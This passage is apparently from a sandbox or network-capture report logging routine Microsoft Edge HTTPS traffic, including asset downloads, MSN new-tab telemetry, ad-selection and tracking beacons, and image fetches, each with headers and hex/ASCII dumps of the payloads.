20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-18 14:17:03 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-18 14:17:03 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.9	49796	13.107.246.57	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:02 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 14:17:03 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:17:03 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: c8ab257f-901e-0026-141d-37f3b3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241118T141703Z-1866b5c5fbbnjgfwhC1DFW3usc000000015g00000000bdat Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 14:17:03 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.9	49797	13.107.246.57	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:03 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 14:17:03 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 14:17:03 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: fa67fb9f-101e-0051-031f-3876f2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241118T141703Z-16547b76f7fgvq8chC1DFWhd2w00000006fg00000000d1yt Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 14:17:03 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.9	49803	20.125.209.212	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:05 UTC	1175	OUT	GET /c.gif?rnd=1731939423841&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=4972dd82e7af4edcb0758df15293dcd4&activityId=4972dd82e7af4edcb0758df15293dcd4&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=3F08C5280D76656126F5D0130C21645D; _EDGE_S=F=1&SID=03766A6908E46CF70A4D7F5209536D1F; _EDGE_V=1
2024-11-18 14:17:05 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1731939423841&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=4972dd82e7af4edcb0758df15293dcd4&activityId=4972dd82e7af4edcb0758df15293dcd4&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=17509CD5FFDF4C37B5317ED1EC43F23C&RedC=c.msn.com&MXFR=3F08C5280D76656126F5D0130C21645D Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=3F08C5280D76656126F5D0130C21645D; domain=.msn.com; expires=Sat, 13-Dec-2025 14:17:05 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Mon, 18 Nov 2024 14:17:05 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.9	49804	13.89.179.13	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:05 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731939423839&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3808 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=3F08C5280D76656126F5D0130C21645D; _EDGE_S=F=1&SID=03766A6908E46CF70A4D7F5209536D1F; _EDGE_V=1
2024-11-18 14:17:05 UTC	3808	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 38 54 31 34 3a 31 37 3a 30 33 2e 38 33 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 35 39 37 31 64 35 38 39 2d 61 39 34 37 2d 34 36 63 33 2d 61 64 62 61 2d 63 62 65 66 38 38 35 33 37 30 31 39 22 2c 22 65 70 6f 63 68 22 3a 22 32 35 38 38 35 36 31 32 37 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-18T14:17:03.834Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"5971d589-a947-46c3-adba-cbef88537019","epoch":"2588561279"},"app":{"locale
2024-11-18 14:17:05 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=e25295516fe64cc1baa7630d2b93a5a4&HASH=e252&LV=202411&V=4&LU=1731939425535; Domain=.microsoft.com; Expires=Tue, 18 Nov 2025 14:17:05 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=065ffdb4a23045409cb6d9ef820cfcd9; Domain=.microsoft.com; Expires=Mon, 18 Nov 2024 14:47:05 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1696 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 18 Nov 2024 14:17:04 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.9	49806	108.156.211.19	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:05 UTC	925	OUT	GET /b?rn=1731939423841&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3F08C5280D76656126F5D0130C21645D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 14:17:05 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Mon, 18 Nov 2024 14:17:05 GMT Location: /b2?rn=1731939423841&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3F08C5280D76656126F5D0130C21645D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=182f5a61b169bb601efae761731939425; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=182f5a61b169bb601efae761731939425; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 04c167e03225feef015433dd1c009304.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW56-P3 X-Amz-Cf-Id: 2Dg03_vZBA15R7aBHauVEov9BQFdMSnLa-1JhdmYd9kUxojTk624fg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.9	49805	23.96.180.189	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:05 UTC	1068	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=3F08C5280D76656126F5D0130C21645D&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-1896095743575897587&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=a5941e9773ae400dfd0757c43909c250 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=3F08C5280D76656126F5D0130C21645D; _EDGE_S=F=1&SID=03766A6908E46CF70A4D7F5209536D1F; _EDGE_V=1
2024-11-18 14:17:05 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 18 Nov 2024 14:17:05 GMT Connection: close
2024-11-18 14:17:05 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.9	49812	23.47.50.160	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:17:05 UTC	634	OUT	GET /tenant/amp/entityid/BB1msFQB.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 14:17:06 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msFQB Last-Modified: Mon, 16 Sep 2024 13:34:28 GMT X-Source-Length: 116349 X-Datacenter: eastus X-ActivityId: 52543383-0861-4d93-ae83-78584bccb7ca Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 116349 Cache-Control: public, max-age=429811 Expires: Sat, 23 Nov 2024 13:40:36 GMT Date: Mon, 18 Nov 2024 14:17:05 GMT Connection: close
2024-11-18 14:17:06 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-18 14:17:06 UTC	16384	IN	Data Raw: 92 8a d0 1c cf 51 57 14 54 bc d8 cc e1 ba b0 3b 9e a1 03 e6 76 ea 0b 24 2e 60 ce d3 ba 6f 54 75 40 ec e8 cf 15 95 71 5c ff 00 51 bd 56 7a 8d ea 8b 0b 2f 17 4a 8d 55 ad bd 42 52 f1 d5 3b 02 d9 77 15 4b 36 2c 59 5b fd c8 80 75 36 8f 35 b5 f1 50 65 2c 73 48 76 85 26 d5 7f 70 47 93 cf 8f 00 9a 5e 78 00 d8 f8 95 ce c2 d0 5d 19 09 a4 9b c1 bf bf e3 d5 75 b2 60 15 18 a4 37 8c fc 61 42 ce d3 1b 4c 97 17 70 d0 7e 25 70 7b 89 7f c3 af 43 b5 db f6 fd b5 21 ec 6c c1 b1 3a ca bf 4e 3a 83 c8 12 2c 1c b8 cd 71 60 a5 9c a3 82 c9 27 8a a7 fd 46 31 13 25 1e a7 65 d9 b1 8d e7 d9 40 7b ae 8d 0b 94 b2 63 65 8b f3 cd eb 45 f1 45 d7 77 19 0f 01 c2 ca b1 71 f3 e2 55 72 e5 1a c9 b7 2d db 65 51 64 e4 3e ea 29 e0 96 10 a4 61 2b 54 75 1b c2 5a ca 62 a2 53 1d 54 64 f1 29 2b ea 11 af Data Ascii: QWT;v$.`oTu@q\QVz/JUBR;wK6,Y[u65Pe,sHv&pG^x]u`7aBLp~%p{C!l:N:,q`'F1%e@{ceEEwqUr-eQd>)a+TuZbSTd)+
2024-11-18 14:17:06 UTC	2662	IN	Data Raw: f2 f4 34 50 39 0d c4 eb c8 30 6f a0 85 38 c3 69 98 1d 75 f2 57 4b 43 86 b4 ce 9c 0e e3 ef 64 37 13 5b 72 66 6c 23 8f 50 52 f7 3d 07 c0 a4 00 6c 92 27 a4 fe 10 99 d2 5b 14 b6 66 6f 6f 13 a7 92 67 0a 2c 1b b7 b9 f6 3e 49 ec 5a 06 84 de 34 bf f9 4a f5 1d 14 ea 32 01 6c f9 c4 03 f7 b2 8a 9d a6 d3 23 a4 44 78 ab be 99 20 02 40 eb 7d 7a 70 e1 2b 5a c6 b5 c4 92 0e d1 a0 07 8a be 49 13 45 30 c9 df a7 d3 f1 5b 49 d8 1e 9a 8d fc fe 8a d9 8e 9a e9 1a 0f 6e 1f 82 8b 88 b7 f5 de 78 74 4f 95 8a 8a fe 9b 89 99 b7 d3 5d 47 15 87 10 67 43 56 bf 54 c6 c6 c2 7a ce fc 7d b6 52 b8 92 48 22 26 dd 40 3f 1f 25 56 f0 2a 44 4d c7 ec 7a 47 de eb 00 1b 80 2f a5 93 d2 67 43 1f 1f 00 b1 cc 2d 92 23 41 1d 0c f5 fa 27 7d 77 0a 1c d2 d9 20 c8 8f 21 f7 e2 a3 90 e7 41 2e 22 76 09 da d7 1d Data Ascii: 4P90o8iuWKCd7[rfl#PR=l'[foog,>IZ4J2l#Dx @}zp+ZIE0[InxtO]GgCVTz}RH"&@?%V*DMzG/gC-#A'}w !A."v
2024-11-18 14:17:06 UTC	16384	IN	Data Raw: f3 2f f6 0e 07 21 d8 e8 31 ca d2 1d c2 fe 29 28 78 33 25 d3 b6 b1 bc db aa ee b7 13 e4 88 04 41 d4 02 76 1a 91 c2 74 55 ff 00 6f 04 00 e9 b3 af 24 3a 47 4b c4 09 9d 95 af 3a d9 b0 f6 ce 33 fd c1 f3 80 88 68 f7 f3 f1 5d 47 f6 6f f4 e0 18 27 59 eb 31 56 86 24 6c 15 67 f6 59 0b 88 c7 14 6a 2e 6d 79 22 60 4c fb ad 57 97 c6 f5 48 8e 12 ec 54 96 89 b3 bd a2 75 e8 02 88 e4 1a cf 5d 06 cb a4 7b 17 35 c0 12 44 83 7d 74 be a3 43 d2 62 54 ff 00 b6 10 d0 48 e5 32 5c e0 37 70 24 11 70 7d a1 37 e6 87 7b 0e 12 38 d1 3d 5b f9 28 64 cd 86 84 7b 7d fc 57 a4 38 4d 4d 71 dd c6 64 0b 34 4d ec 3c c4 15 49 d8 f2 63 24 36 e3 fe a1 2e b8 9b 8d 06 f0 3c d2 5e 64 fb 7d 47 c0 e6 df 57 b4 89 3a 9f 7d 92 82 ca a9 b9 9b db 51 ef 2b a0 fe d3 26 42 25 d3 43 b9 81 86 88 b4 47 5b 6b ec a6 Data Ascii: 